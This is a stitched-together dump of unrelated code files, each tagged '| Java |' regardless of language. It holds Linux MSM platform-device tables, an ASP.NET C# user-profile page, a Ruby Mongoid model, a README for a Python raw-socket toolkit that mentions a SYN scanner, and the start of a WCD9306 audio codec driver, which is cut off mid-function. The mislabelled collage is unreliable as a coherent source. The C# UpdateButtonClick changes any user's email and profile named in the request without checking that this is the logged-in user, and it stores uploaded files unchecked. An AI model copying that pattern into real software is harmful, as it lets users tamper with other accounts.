.flags = IORESOURCE_DMA,
},
[1] = {
.name = "msm_nand_phys",
.start = MSM_NAND_PHYS,
.end = MSM_NAND_PHYS + 0x7FF,
.flags = IORESOURCE_MEM,
},
[2] = {
.name = "msm_nandc01_phys",
.start = MSM_NANDC01_PHYS,
.end = MSM_NANDC01_PHYS + 0x7FF,
.flags = IORESOURCE_MEM,
},
[3] = {
.name = "msm_nandc10_phys",
.start = MSM_NANDC10_PHYS,
.end = MSM_NANDC10_PHYS + 0x7FF,
.flags = IORESOURCE_MEM,
},
[4] = {
.name = "msm_nandc11_phys",
.start = MSM_NANDC11_PHYS,
.end = MSM_NANDC11_PHYS + 0x7FF,
.flags = IORESOURCE_MEM,
},
[5] = {
.name = "ebi2_reg_base",
.start = EBI2_REG_BASE,
.end = EBI2_REG_BASE + 0x60,
.flags = IORESOURCE_MEM,
},
};
struct flash_platform_data msm_nand_data;
struct platform_device msm_device_nand = {
.name = "msm_nand",
.id = -1,
.num_resources = ARRAY_SIZE(resources_nand),
.resource = resources_nand,
.dev = {
.platform_data = &msm_nand_data,
},
};
#define MSM_SDC1_BASE 0xA0400000
#define MSM_SDC2_BASE 0xA0500000
#define MSM_SDC3_BASE 0xA0600000
#define MSM_SDC4_BASE 0xA0700000
static struct resource resources_sdc1[] = {
{
.start = MSM_SDC1_BASE,
.end = MSM_SDC1_BASE + SZ_4K - 1,
.flags = IORESOURCE_MEM,
},
{
.start = INT_SDC1_0,
.end = INT_SDC1_1,
.flags = IORESOURCE_IRQ,
},
{
.name = "sdcc_dma_chnl",
.start = DMOV_SDC1_CHAN,
.end = DMOV_SDC1_CHAN,
.flags = IORESOURCE_DMA,
},
{
.name = "sdcc_dma_crci",
.start = DMOV_SDC1_CRCI,
.end = DMOV_SDC1_CRCI,
.flags = IORESOURCE_DMA,
}
};
static struct resource resources_sdc2[] = {
{
.start = MSM_SDC2_BASE,
.end = MSM_SDC2_BASE + SZ_4K - 1,
.flags = IORESOURCE_MEM,
},
{
.start = INT_SDC2_0,
.end = INT_SDC2_1,
.flags = IORESOURCE_IRQ,
},
{
.name = "sdcc_dma_chnl",
.start = DMOV_SDC2_CHAN,
.end = DMOV_SDC2_CHAN,
.flags = IORESOURCE_DMA,
},
{
.name = "sdcc_dma_crci",
.start = DMOV_SDC2_CRCI,
.end = DMOV_SDC2_CRCI,
.flags = IORESOURCE_DMA,
}
};
#ifdef CONFIG_ARCH_MSM7X27A
static struct resource resources_sdc3[] = {
{
.start = MSM_SDC3_BASE,
.end = MSM_SDC3_BASE + SZ_4K - 1,
.flags = IORESOURCE_MEM,
},
{
.start = INT_SDC3_0,
.end = INT_SDC3_1,
.flags = IORESOURCE_IRQ,
},
{
.name = "sdcc_dma_chnl",
.start = DMOV_SDC3_CHAN,
.end = DMOV_SDC3_CHAN,
.flags = IORESOURCE_DMA,
},
{
.name = "sdcc_dma_crci",
.start = DMOV_SDC3_CRCI,
.end = DMOV_SDC3_CRCI,
.flags = IORESOURCE_DMA,
},
};
#else
static struct resource resources_sdc3[] = {
{
.start = MSM_SDC3_BASE,
.end = MSM_SDC3_BASE + SZ_4K - 1,
.flags = IORESOURCE_MEM,
},
{
.start = INT_SDC3_0,
.end = INT_SDC3_1,
.flags = IORESOURCE_IRQ,
},
{
.name = "sdcc_dma_chnl",
.start = DMOV_SDC4_CHAN,
.end = DMOV_SDC4_CHAN,
.flags = IORESOURCE_DMA,
},
{
.name = "sdcc_dma_crci",
.start = DMOV_SDC4_CRCI,
.end = DMOV_SDC4_CRCI,
.flags = IORESOURCE_DMA,
},
};
#endif
static struct resource resources_sdc4[] = {
{
.start = MSM_SDC4_BASE,
.end = MSM_SDC4_BASE + SZ_4K - 1,
.flags = IORESOURCE_MEM,
},
{
.start = INT_SDC4_0,
.end = INT_SDC4_1,
.flags = IORESOURCE_IRQ,
},
{
.name = "sdcc_dma_chnl",
.start = DMOV_SDC3_CHAN,
.end = DMOV_SDC3_CHAN,
.flags = IORESOURCE_DMA,
},
{
.name = "sdcc_dma_crci",
.start = DMOV_SDC3_CRCI,
.end = DMOV_SDC3_CRCI,
.flags = IORESOURCE_DMA,
},
};
struct platform_device msm_device_sdc1 = {
.name = "msm_sdcc",
.id = 1,
.num_resources = ARRAY_SIZE(resources_sdc1),
.resource = resources_sdc1,
.dev = {
.coherent_dma_mask = 0xffffffff,
},
};
struct platform_device msm_device_sdc2 = {
.name = "msm_sdcc",
.id = 2,
.num_resources = ARRAY_SIZE(resources_sdc2),
.resource = resources_sdc2,
.dev = {
.coherent_dma_mask = 0xffffffff,
},
};
struct platform_device msm_device_sdc3 = {
.name = "msm_sdcc",
.id = 3,
.num_resources = ARRAY_SIZE(resources_sdc3),
.resource = resources_sdc3,
.dev = {
.coherent_dma_mask = 0xffffffff,
},
};
struct platform_device msm_device_sdc4 = {
.name = "msm_sdcc",
.id = 4,
.num_resources = ARRAY_SIZE(resources_sdc4),
.resource = resources_sdc4,
.dev = {
.coherent_dma_mask = 0xffffffff,
},
};
static struct platform_device *msm_sdcc_devices[] __initdata = {
&msm_device_sdc1,
&msm_device_sdc2,
&msm_device_sdc3,
&msm_device_sdc4,
};
int __init msm_add_sdcc(unsigned int controller, struct mmc_platform_data *plat)
{
struct platform_device *pdev;
if (controller < 1 || controller > 4)
return -EINVAL;
pdev = msm_sdcc_devices[controller-1];
pdev->dev.platform_data = plat;
return platform_device_register(pdev);
}
#define MDP_BASE 0xAA200000
#define MIPI_DSI_HW_BASE 0xA1100000
static struct resource msm_mipi_dsi_resources[] = {
{
.name = "mipi_dsi",
.start = MIPI_DSI_HW_BASE,
.end = MIPI_DSI_HW_BASE + 0x000F0000 - 1,
.flags = IORESOURCE_MEM,
},
{
.start = INT_DSI_IRQ,
.end = INT_DSI_IRQ,
.flags = IORESOURCE_IRQ,
},
};
static struct platform_device msm_mipi_dsi_device = {
.name = "mipi_dsi",
.id = 1,
.num_resources = ARRAY_SIZE(msm_mipi_dsi_resources),
.resource = msm_mipi_dsi_resources,
};
static struct resource msm_mdp_resources[] = {
{
.name = "mdp",
.start = MDP_BASE,
.end = MDP_BASE + 0x000F1008 - 1,
.flags = IORESOURCE_MEM,
},
{
.start = INT_MDP,
.end = INT_MDP,
.flags = IORESOURCE_IRQ,
},
};
static struct platform_device msm_mdp_device = {
.name = "mdp",
.id = 0,
.num_resources = ARRAY_SIZE(msm_mdp_resources),
.resource = msm_mdp_resources,
};
static struct platform_device msm_lcdc_device = {
.name = "lcdc",
.id = 0,
};
#ifdef CONFIG_MSM_KGSL_ADRENO200
static struct resource kgsl_3d0_resources[] = {
{
.name = KGSL_3D0_REG_MEMORY,
.start = 0xA0000000,
.end = 0xA001ffff,
.flags = IORESOURCE_MEM,
},
{
.name = KGSL_3D0_IRQ,
.start = INT_GRAPHICS,
.end = INT_GRAPHICS,
.flags = IORESOURCE_IRQ,
},
};
static struct kgsl_device_platform_data kgsl_3d0_pdata = {
.pwrlevel = {
{
.gpu_freq = 245760000,
.bus_freq = 200000000,
},
{
.gpu_freq = 192000000,
.bus_freq = 160000000,
},
{
.gpu_freq = 133330000,
.bus_freq = 0,
},
},
.init_level = 0,
.num_levels = 3,
.set_grp_async = set_grp_xbar_async,
.idle_timeout = HZ,
.strtstp_sleepwake = true,
.nap_allowed = false,
.clk_map = KGSL_CLK_CORE | KGSL_CLK_IFACE | KGSL_CLK_MEM,
};
struct platform_device msm_kgsl_3d0 = {
.name = "kgsl-3d0",
.id = 0,
.num_resources = ARRAY_SIZE(kgsl_3d0_resources),
.resource = kgsl_3d0_resources,
.dev = {
.platform_data = &kgsl_3d0_pdata,
},
};
void __init msm7x25a_kgsl_3d0_init(void)
{
if (cpu_is_msm7x25a() || cpu_is_msm7x25aa()) {
kgsl_3d0_pdata.num_levels = 2;
kgsl_3d0_pdata.pwrlevel[0].gpu_freq = 133330000;
kgsl_3d0_pdata.pwrlevel[0].bus_freq = 160000000;
kgsl_3d0_pdata.pwrlevel[1].gpu_freq = 96000000;
kgsl_3d0_pdata.pwrlevel[1].bus_freq = 0;
}
}
#endif
static void __init msm_register_device(struct platform_device *pdev, void *data)
{
int ret;
pdev->dev.platform_data = data;
ret = platform_device_register(pdev);
if (ret)
dev_err(&pdev->dev,
"%s: platform_device_register() failed = %d\n",
__func__, ret);
}
void __init msm_fb_register_device(char *name, void *data)
{
if (!strncmp(name, "mdp", 3))
msm_register_device(&msm_mdp_device, data);
else if (!strncmp(name, "mipi_dsi", 8))
msm_register_device(&msm_mipi_dsi_device, data);
else if (!strncmp(name, "lcdc", 4))
msm_register_device(&msm_lcdc_device, data);
else
printk(KERN_ERR "%s: unknown device! %s\n", __func__, name);
}
#define PERPH_WEB_BLOCK_ADDR (0xA9D00040)
#define PDM0_CTL_OFFSET (0x04)
#define SIZE_8B (0x08)
static struct resource resources_led[] = {
{
.start = PERPH_WEB_BLOCK_ADDR,
.end = PERPH_WEB_BLOCK_ADDR + (SIZE_8B) - 1,
.name = "led-gpio-pdm",
.flags = IORESOURCE_MEM,
},
};
static struct led_info msm_kpbl_pdm_led_pdata = {
.name = "keyboard-backlight",
};
struct platform_device led_pdev = {
.name = "leds-msm-pdm",
/* use pdev id to represent pdm id */
.id = 0,
.num_resources = ARRAY_SIZE(resources_led),
.resource = resources_led,
.dev = {
.platform_data = &msm_kpbl_pdm_led_pdata,
},
};
struct platform_device asoc_msm_pcm = {
.name = "msm-dsp-audio",
.id = 0,
};
struct platform_device asoc_msm_dai0 = {
.name = "msm-codec-dai",
.id = 0,
};
struct platform_device asoc_msm_dai1 = {
.name = "msm-cpu-dai",
.id = 0,
};
int __init msm7x2x_misc_init(void)
{
msm_clock_init(&msm7x27a_clock_init_data);
if (cpu_is_msm7x27aa())
acpuclk_init(&acpuclk_7x27aa_soc_data);
else
acpuclk_init(&acpuclk_7x27a_soc_data);
return 0;
}
#ifdef CONFIG_CACHE_L2X0
static int __init msm7x27x_cache_init(void)
{
int aux_ctrl = 0;
/* Way Size 010(0x2) 32KB */
aux_ctrl = (0x1 << L2X0_AUX_CTRL_SHARE_OVERRIDE_SHIFT) | \
(0x2 << L2X0_AUX_CTRL_WAY_SIZE_SHIFT) | \
(0x1 << L2X0_AUX_CTRL_EVNT_MON_BUS_EN_SHIFT);
l2x0_init(MSM_L2CC_BASE, aux_ctrl, L2X0_AUX_CTRL_MASK);
return 0;
}
#else
static int __init msm7x27x_cache_init(void){ return 0; }
#endif
void __init msm_common_io_init(void)
{
msm_map_common_io();
msm7x27x_cache_init();
if (socinfo_init() < 0)
pr_err("%s: socinfo_init() failed!\n", __func__);
}
struct platform_device *msm_footswitch_devices[] = {
FS_PCOM(FS_GFX3D, "fs_gfx3d"),
};
unsigned msm_num_footswitch_devices = ARRAY_SIZE(msm_footswitch_devices);
| Java |
using System;
using System.Globalization;
using System.IO;
using System.Security.Permissions;
using System.Security.Policy;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
public partial class UserProfile : Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (!Page.IsPostBack)
{
if (Request["User"] == null)
{
Response.Redirect("MainPage.aspx");
return;
}
Guid userId;
if (!Guid.TryParse(Request["User"], out userId))
{
Response.Redirect("MainPage.aspx");
return;
}
var membershipUser = Membership.GetUser(userId);
if (membershipUser == null)
{
Response.Redirect("MainPage.aspx");
return;
}
InitControlsVisibility(userId);
PopulateShowProfileControls(membershipUser);
PopulateEditProfileControls(membershipUser);
}
}
private void InitControlsVisibility(Guid userId)
{
pnlEditProfile.Visible = false;
pnlShowProfile.Visible = true;
lvShowChecker.Visible = UserInteraction.CheckIfIdIsLoggedUser(userId);
lvEditChecker.Visible = lvShowChecker.Visible;
}
private void PopulateShowProfileControls(MembershipUser membershipUser)
{
if (membershipUser == null)
{
return;
}
var userProfile = Profile.GetProfile(membershipUser.UserName);
lblUsernameShow.Text = membershipUser.UserName;
lblFirstNameShow.Text = userProfile.FirstName;
lblLastNameShow.Text = userProfile.LastName;
lblBirthDateShow.Text = userProfile.BirthDate.HasValue ? userProfile.BirthDate.Value.ToString("dd MMMMM yyyy", CultureInfo.CreateSpecificCulture("en-us")) : string.Empty;
lblAgeShow.Text = userProfile.BirthDate.HasValue
? ((DateTime.Now - userProfile.BirthDate.Value).Days / 365).ToString()
: string.Empty;
hlEmailShow.Text = membershipUser.Email;
hlEmailShow.NavigateUrl = string.Format("mailto:{0}", membershipUser.Email);
lblRoleShow.Text = Roles.GetRolesForUser(membershipUser.UserName)[0];
if (membershipUser.ProviderUserKey != null)
{
imgUserProfileImageShow.ImageUrl = UserInteraction.MakeProfileUrl((Guid)membershipUser.ProviderUserKey);
}
imgUserProfileImageShow.ImageAlign = ImageAlign.Middle;
}
private void PopulateEditProfileControls(MembershipUser membershipUser)
{
if (membershipUser == null)
{
return;
}
var userProfile = Profile.GetProfile(membershipUser.UserName);
lblUsernameEdit.Text = membershipUser.UserName;
tbFirstNameEdit.Text = userProfile.FirstName;
tbLastNameEdit.Text = userProfile.LastName;
tbBirthDateEdit.Text = userProfile.BirthDate.HasValue ? userProfile.BirthDate.Value.ToString("dd MMMMM yyyy", CultureInfo.CreateSpecificCulture("en-us")) : string.Empty;
lblAgeEdit.Text = userProfile.BirthDate.HasValue
? ((DateTime.Now - userProfile.BirthDate.Value).Days / 365).ToString()
: string.Empty;
tbEmailEdit.Text = membershipUser.Email;
lblRoleEdit.Text = Roles.GetRolesForUser(membershipUser.UserName)[0];
if (membershipUser.ProviderUserKey != null)
{
imgUserProfileImageEdit.ImageUrl = UserInteraction.MakeProfileUrl((Guid)membershipUser.ProviderUserKey);
}
imgUserProfileImageEdit.ImageAlign = ImageAlign.Middle;
}
protected void EditButtonClick(object sender, EventArgs e)
{
pnlEditProfile.Visible = true;
pnlShowProfile.Visible = false;
}
protected void CancelButtonClick(object sender, EventArgs e)
{
if (Request["User"] == null)
{
return;
}
Guid userId;
if (!Guid.TryParse(Request["User"], out userId))
{
return;
}
var membershipUser = Membership.GetUser(userId);
if (membershipUser == null)
{
return;
}
PopulateEditProfileControls(membershipUser);
pnlEditProfile.Visible = false;
pnlShowProfile.Visible = true;
}
protected void UpdateButtonClick(object sender, EventArgs e)
{
if (Request["User"] == null)
{
return;
}
Guid userId;
if (!Guid.TryParse(Request["User"], out userId))
{
return;
}
var membershipUser = Membership.GetUser(userId);
if (membershipUser == null)
{
return;
}
membershipUser.Email = tbEmailEdit.Text;
var userProfile = Profile.GetProfile(membershipUser.UserName);
userProfile.FirstName = tbFirstNameEdit.Text;
userProfile.LastName = tbLastNameEdit.Text;
if (!string.IsNullOrWhiteSpace(tbBirthDateEdit.Text))
{
userProfile.BirthDate = DateTime.Parse(tbBirthDateEdit.Text);
}
if (fuUserProfileImage.HasFile)
{
var filePath = Server.MapPath("ProfileImages") + Path.DirectorySeparatorChar + membershipUser.ProviderUserKey;
fuUserProfileImage.SaveAs(filePath);
userProfile.ProfilePicture = "/ForumWebsite" + "/" + "ProfileImages" + "/" + membershipUser.ProviderUserKey;
}
userProfile.Save();
PopulateEditProfileControls(membershipUser);
PopulateShowProfileControls(membershipUser);
pnlEditProfile.Visible = false;
pnlShowProfile.Visible = true;
}
} | Java |
# coding: utf-8
class Photo
include Mongoid::Document
include Mongoid::Timestamps
include Mongoid::BaseModel
field :image
belongs_to :user
ACCESSABLE_ATTRS = [:image]
# 封面图
mount_uploader :image, PhotoUploader
end
| Java |
# pyraw
python and raw sockets
author: deadc0de6
A simple python script using raw sockets and epoll for fast processing packets
Some example of implementations using scapy to forge the packets:
- *ping.py* - a simple ping implementation
- *syn-scanner.py* - a basic SYN scanner
- *naive-traceroute.py* - a naive tracerouter with multiple protocols (tcp, udp, icmp)
| Java |
/* Copyright (c) 2012-2015, The Linux Foundation. All rights reserved.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 and
* only version 2 as published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#include <linux/module.h>
#include <linux/init.h>
#include <linux/firmware.h>
#include <linux/slab.h>
#include <linux/platform_device.h>
#include <linux/device.h>
#include <linux/printk.h>
#include <linux/ratelimit.h>
#include <linux/debugfs.h>
#include <linux/wait.h>
#include <linux/bitops.h>
#include <linux/mfd/wcd9xxx/core.h>
#include <linux/mfd/wcd9xxx/wcd9xxx_registers.h>
#include <linux/mfd/wcd9xxx/wcd9306_registers.h>
#include <linux/mfd/wcd9xxx/pdata.h>
#include <linux/regulator/consumer.h>
#include <sound/pcm.h>
#include <sound/pcm_params.h>
#include <sound/soc.h>
#include <sound/soc-dapm.h>
#include <sound/tlv.h>
#include <linux/bitops.h>
#include <linux/delay.h>
#include <linux/pm_runtime.h>
#include <linux/kernel.h>
#include <linux/gpio.h>
#include "wcd9306.h"
#include "wcd9xxx-resmgr.h"
#include "wcd9xxx-common.h"
#define TAPAN_HPH_PA_SETTLE_COMP_ON 5000
#define TAPAN_HPH_PA_SETTLE_COMP_OFF 13000
#define DAPM_MICBIAS2_EXTERNAL_STANDALONE "MIC BIAS2 External Standalone"
#define TAPAN_VALIDATE_RX_SBPORT_RANGE(port) ((port >= 16) && (port <= 20))
#define TAPAN_CONVERT_RX_SBPORT_ID(port) (port - 16) /* RX1 port ID = 0 */
#define TAPAN_VDD_CX_OPTIMAL_UA 10000
#define TAPAN_VDD_CX_SLEEP_UA 2000
/* RX_HPH_CNP_WG_TIME increases by 0.24ms */
#define TAPAN_WG_TIME_FACTOR_US 240
#define TAPAN_SB_PGD_PORT_RX_BASE 0x40
#define TAPAN_SB_PGD_PORT_TX_BASE 0x50
#define TAPAN_REGISTER_START_OFFSET 0x800
#define CODEC_REG_CFG_MINOR_VER 1
static struct regulator *tapan_codec_find_regulator(
struct snd_soc_codec *codec,
const char *name);
static atomic_t kp_tapan_priv;
static int spkr_drv_wrnd_param_set(const char *val,
const struct kernel_param *kp);
static int spkr_drv_wrnd = 1;
static struct kernel_param_ops spkr_drv_wrnd_param_ops = {
.set = spkr_drv_wrnd_param_set,
.get = param_get_int,
};
module_param_cb(spkr_drv_wrnd, &spkr_drv_wrnd_param_ops, &spkr_drv_wrnd, 0644);
MODULE_PARM_DESC(spkr_drv_wrnd,
"Run software workaround to avoid leakage on the speaker drive");
#define WCD9306_RATES (SNDRV_PCM_RATE_8000 | SNDRV_PCM_RATE_16000 |\
SNDRV_PCM_RATE_32000 | SNDRV_PCM_RATE_48000 |\
SNDRV_PCM_RATE_96000 | SNDRV_PCM_RATE_192000)
#define WCD9302_RATES (SNDRV_PCM_RATE_8000 | SNDRV_PCM_RATE_16000 |\
SNDRV_PCM_RATE_32000 | SNDRV_PCM_RATE_48000)
#define NUM_DECIMATORS 4
#define NUM_INTERPOLATORS 4
#define BITS_PER_REG 8
/* This actual number of TX ports supported in slimbus slave */
#define TAPAN_TX_PORT_NUMBER 16
#define TAPAN_RX_PORT_START_NUMBER 16
/* Nummer of TX ports actually connected from Slimbus slave to codec Digital */
#define TAPAN_SLIM_CODEC_TX_PORTS 5
#define TAPAN_I2S_MASTER_MODE_MASK 0x08
#define TAPAN_MCLK_CLK_12P288MHZ 12288000
#define TAPAN_MCLK_CLK_9P6MHZ 9600000
#define TAPAN_SLIM_CLOSE_TIMEOUT 1000
#define TAPAN_SLIM_IRQ_OVERFLOW (1 << 0)
#define TAPAN_SLIM_IRQ_UNDERFLOW (1 << 1)
#define TAPAN_SLIM_IRQ_PORT_CLOSED (1 << 2)
enum tapan_codec_type {
WCD9306,
WCD9302,
};
static enum tapan_codec_type codec_ver;
/*
* Multiplication factor to compute impedance on Tapan
* This is computed from (Vx / (m*Ical)) = (10mV/(180*30uA))
*/
#define TAPAN_ZDET_MUL_FACTOR 1852
static struct afe_param_cdc_reg_cfg audio_reg_cfg[] = {
{
CODEC_REG_CFG_MINOR_VER,
(TAPAN_REGISTER_START_OFFSET + TAPAN_SB_PGD_PORT_TX_BASE),
SB_PGD_PORT_TX_WATERMARK_N, 0x1E, 8, 0x1
},
{
CODEC_REG_CFG_MINOR_VER,
(TAPAN_REGISTER_START_OFFSET + TAPAN_SB_PGD_PORT_TX_BASE),
SB_PGD_PORT_TX_ENABLE_N, 0x1, 8, 0x1
},
{
CODEC_REG_CFG_MINOR_VER,
(TAPAN_REGISTER_START_OFFSET + TAPAN_SB_PGD_PORT_RX_BASE),
SB_PGD_PORT_RX_WATERMARK_N, 0x1E, 8, 0x1
},
{
CODEC_REG_CFG_MINOR_VER,
(TAPAN_REGISTER_START_OFFSET + TAPAN_SB_PGD_PORT_RX_BASE),
SB_PGD_PORT_RX_ENABLE_N, 0x1, 8, 0x1
},
{
CODEC_REG_CFG_MINOR_VER,
(TAPAN_REGISTER_START_OFFSET + TAPAN_A_CDC_ANC1_IIR_B1_CTL),
AANC_FF_GAIN_ADAPTIVE, 0x4, 8, 0
},
{
CODEC_REG_CFG_MINOR_VER,
(TAPAN_REGISTER_START_OFFSET + TAPAN_A_CDC_ANC1_IIR_B1_CTL),
AANC_FFGAIN_ADAPTIVE_EN, 0x8, 8, 0
},
{
CODEC_REG_CFG_MINOR_VER,
(TAPAN_REGISTER_START_OFFSET + TAPAN_A_CDC_ANC1_GAIN_CTL),
AANC_GAIN_CONTROL, 0xFF, 8, 0
},
};
static struct afe_param_cdc_reg_cfg_data tapan_audio_reg_cfg = {
.num_registers = ARRAY_SIZE(audio_reg_cfg),
.reg_data = audio_reg_cfg,
};
static struct afe_param_id_cdc_aanc_version tapan_cdc_aanc_version = {
.cdc_aanc_minor_version = AFE_API_VERSION_CDC_AANC_VERSION,
.aanc_hw_version = AANC_HW_BLOCK_VERSION_2,
};
enum {
AIF1_PB = 0,
AIF1_CAP,
AIF2_PB,
AIF2_CAP,
AIF3_PB,
AIF3_CAP,
NUM_CODEC_DAIS,
};
enum {
RX_MIX1_INP_SEL_ZERO = 0,
RX_MIX1_INP_SEL_SRC1,
RX_MIX1_INP_SEL_SRC2,
RX_MIX1_INP_SEL_IIR1,
RX_MIX1_INP_SEL_IIR2,
RX_MIX1_INP_SEL_RX1,
RX_MIX1_INP_SEL_RX2,
RX_MIX1_INP_SEL_RX3,
RX_MIX1_INP_SEL_RX4,
RX_MIX1_INP_SEL_RX5,
RX_MIX1_INP_SEL_AUXRX,
};
#define TAPAN_COMP_DIGITAL_GAIN_OFFSET 3
static const DECLARE_TLV_DB_SCALE(digital_gain, 0, 1, 0);
static const DECLARE_TLV_DB_SCALE(line_gain, 0, 7, 1);
static const DECLARE_TLV_DB_SCALE(analog_gain, 0, 25, 1);
static struct snd_soc_dai_driver tapan_dai[];
static const DECLARE_TLV_DB_SCALE(aux_pga_gain, 0, 2, 0);
/* Codec supports 2 IIR filters */
enum {
IIR1 = 0,
IIR2,
IIR_MAX,
};
/* Codec supports 5 bands */
enum {
BAND1 = 0,
BAND2,
BAND3,
BAND4,
BAND5,
BAND_MAX,
};
enum {
COMPANDER_0,
COMPANDER_1,
COMPANDER_2,
COMPANDER_MAX,
};
enum {
COMPANDER_FS_8KHZ = 0,
COMPANDER_FS_16KHZ,
COMPANDER_FS_32KHZ,
COMPANDER_FS_48KHZ,
COMPANDER_FS_96KHZ,
COMPANDER_FS_192KHZ,
COMPANDER_FS_MAX,
};
struct comp_sample_dependent_params {
u32 peak_det_timeout;
u32 rms_meter_div_fact;
u32 rms_meter_resamp_fact;
};
struct hpf_work {
struct tapan_priv *tapan;
u32 decimator;
u8 tx_hpf_cut_of_freq;
struct delayed_work dwork;
};
static struct hpf_work tx_hpf_work[NUM_DECIMATORS];
static const struct wcd9xxx_ch tapan_rx_chs[TAPAN_RX_MAX] = {
WCD9XXX_CH(TAPAN_RX_PORT_START_NUMBER, 0),
WCD9XXX_CH(TAPAN_RX_PORT_START_NUMBER + 1, 1),
WCD9XXX_CH(TAPAN_RX_PORT_START_NUMBER + 2, 2),
WCD9XXX_CH(TAPAN_RX_PORT_START_NUMBER + 3, 3),
WCD9XXX_CH(TAPAN_RX_PORT_START_NUMBER + 4, 4),
};
static const struct wcd9xxx_ch tapan_tx_chs[TAPAN_TX_MAX] = {
WCD9XXX_CH(0, 0),
WCD9XXX_CH(1, 1),
WCD9XXX_CH(2, 2),
WCD9XXX_CH(3, 3),
WCD9XXX_CH(4, 4),
};
static const u32 vport_check_table[NUM_CODEC_DAIS] = {
0, /* AIF1_PB */
(1 << AIF2_CAP) | (1 << AIF3_CAP), /* AIF1_CAP */
0, /* AIF2_PB */
(1 << AIF1_CAP) | (1 << AIF3_CAP), /* AIF2_CAP */
0, /* AIF2_PB */
(1 << AIF1_CAP) | (1 << AIF2_CAP), /* AIF2_CAP */
};
static const u32 vport_i2s_check_table[NUM_CODEC_DAIS] = {
0, /* AIF1_PB */
0, /* AIF1_CAP */
};
enum {
CP_REG_BUCK = 0,
CP_REG_BHELPER,
CP_REG_MAX,
};
struct tapan_priv {
struct snd_soc_codec *codec;
u32 adc_count;
u32 rx_bias_count;
s32 dmic_1_2_clk_cnt;
s32 dmic_3_4_clk_cnt;
s32 dmic_5_6_clk_cnt;
s32 ldo_h_users;
s32 micb_2_users;
u32 anc_slot;
bool anc_func;
/*track adie loopback mode*/
bool lb_mode;
/*track tapan interface type*/
u8 intf_type;
/* num of slim ports required */
struct wcd9xxx_codec_dai_data dai[NUM_CODEC_DAIS];
/*compander*/
int comp_enabled[COMPANDER_MAX];
u32 comp_fs[COMPANDER_MAX];
/* Maintain the status of AUX PGA */
int aux_pga_cnt;
u8 aux_l_gain;
u8 aux_r_gain;
bool dec_active[NUM_DECIMATORS];
bool spkr_pa_widget_on;
struct afe_param_cdc_slimbus_slave_cfg slimbus_slave_cfg;
/* resmgr module */
struct wcd9xxx_resmgr resmgr;
/* mbhc module */
struct wcd9xxx_mbhc mbhc;
/* class h specific data */
struct wcd9xxx_clsh_cdc_data clsh_d;
/* pointers to regulators required for chargepump */
struct regulator *cp_regulators[CP_REG_MAX];
/*
* list used to save/restore registers at start and
* end of impedance measurement
*/
struct list_head reg_save_restore;
int (*machine_codec_event_cb)(struct snd_soc_codec *codec,
enum wcd9xxx_codec_event);
};
static const u32 comp_shift[] = {
0,
1,
2,
};
static const int comp_rx_path[] = {
COMPANDER_1,
COMPANDER_1,
COMPANDER_2,
COMPANDER_2,
COMPANDER_MAX,
};
static const struct comp_sample_dependent_params comp_samp_params[] = {
{
/* 8 Khz */
.peak_det_timeout = 0x06,
.rms_meter_div_fact = 0x09,
.rms_meter_resamp_fact = 0x06,
},
{
/* 16 Khz */
.peak_det_timeout = 0x07,
.rms_meter_div_fact = 0x0A,
.rms_meter_resamp_fact = 0x0C,
},
{
/* 32 Khz */
.peak_det_timeout = 0x08,
.rms_meter_div_fact = 0x0B,
.rms_meter_resamp_fact = 0x1E,
},
{
/* 48 Khz */
.peak_det_timeout = 0x09,
.rms_meter_div_fact = 0x0B,
.rms_meter_resamp_fact = 0x28,
},
{
/* 96 Khz */
.peak_det_timeout = 0x0A,
.rms_meter_div_fact = 0x0C,
.rms_meter_resamp_fact = 0x50,
},
{
/* 192 Khz */
.peak_det_timeout = 0x0B,
.rms_meter_div_fact = 0xC,
.rms_meter_resamp_fact = 0xA0,
},
};
static unsigned short rx_digital_gain_reg[] = {
TAPAN_A_CDC_RX1_VOL_CTL_B2_CTL,
TAPAN_A_CDC_RX2_VOL_CTL_B2_CTL,
TAPAN_A_CDC_RX3_VOL_CTL_B2_CTL,
TAPAN_A_CDC_RX4_VOL_CTL_B2_CTL,
};
static unsigned short tx_digital_gain_reg[] = {
TAPAN_A_CDC_TX1_VOL_CTL_GAIN,
TAPAN_A_CDC_TX2_VOL_CTL_GAIN,
TAPAN_A_CDC_TX3_VOL_CTL_GAIN,
TAPAN_A_CDC_TX4_VOL_CTL_GAIN,
};
static int spkr_drv_wrnd_param_set(const char *val,
const struct kernel_param *kp)
{
struct snd_soc_codec *codec;
int ret, old;
struct tapan_priv *priv;
priv = (struct tapan_priv *)atomic_read(&kp_tapan_priv);
if (!priv) {
pr_debug("%s: codec isn't yet registered\n", __func__);
return 0;
}
codec = priv->codec;
mutex_lock(&codec->mutex);
old = spkr_drv_wrnd;
ret = param_set_int(val, kp);
if (ret) {
mutex_unlock(&codec->mutex);
return ret;
}
dev_dbg(codec->dev, "%s: spkr_drv_wrnd %d -> %d\n",
__func__, old, spkr_drv_wrnd);
if ((old == -1 || old == 0) && spkr_drv_wrnd == 1) {
WCD9XXX_BG_CLK_LOCK(&priv->resmgr);
wcd9xxx_resmgr_get_bandgap(&priv->resmgr,
WCD9XXX_BANDGAP_AUDIO_MODE);
WCD9XXX_BG_CLK_UNLOCK(&priv->resmgr);
snd_soc_update_bits(codec, TAPAN_A_SPKR_DRV_EN, 0x80, 0x80);
} else if (old == 1 && spkr_drv_wrnd == 0) {
WCD9XXX_BG_CLK_LOCK(&priv->resmgr);
wcd9xxx_resmgr_put_bandgap(&priv->resmgr,
WCD9XXX_BANDGAP_AUDIO_MODE);
WCD9XXX_BG_CLK_UNLOCK(&priv->resmgr);
if (!priv->spkr_pa_widget_on)
snd_soc_update_bits(codec, TAPAN_A_SPKR_DRV_EN, 0x80,
0x00);
}
mutex_unlock(&codec->mutex);
return 0;
}
static int tapan_get_anc_slot(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
ucontrol->value.integer.value[0] = tapan->anc_slot;
return 0;
}
static int tapan_put_anc_slot(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
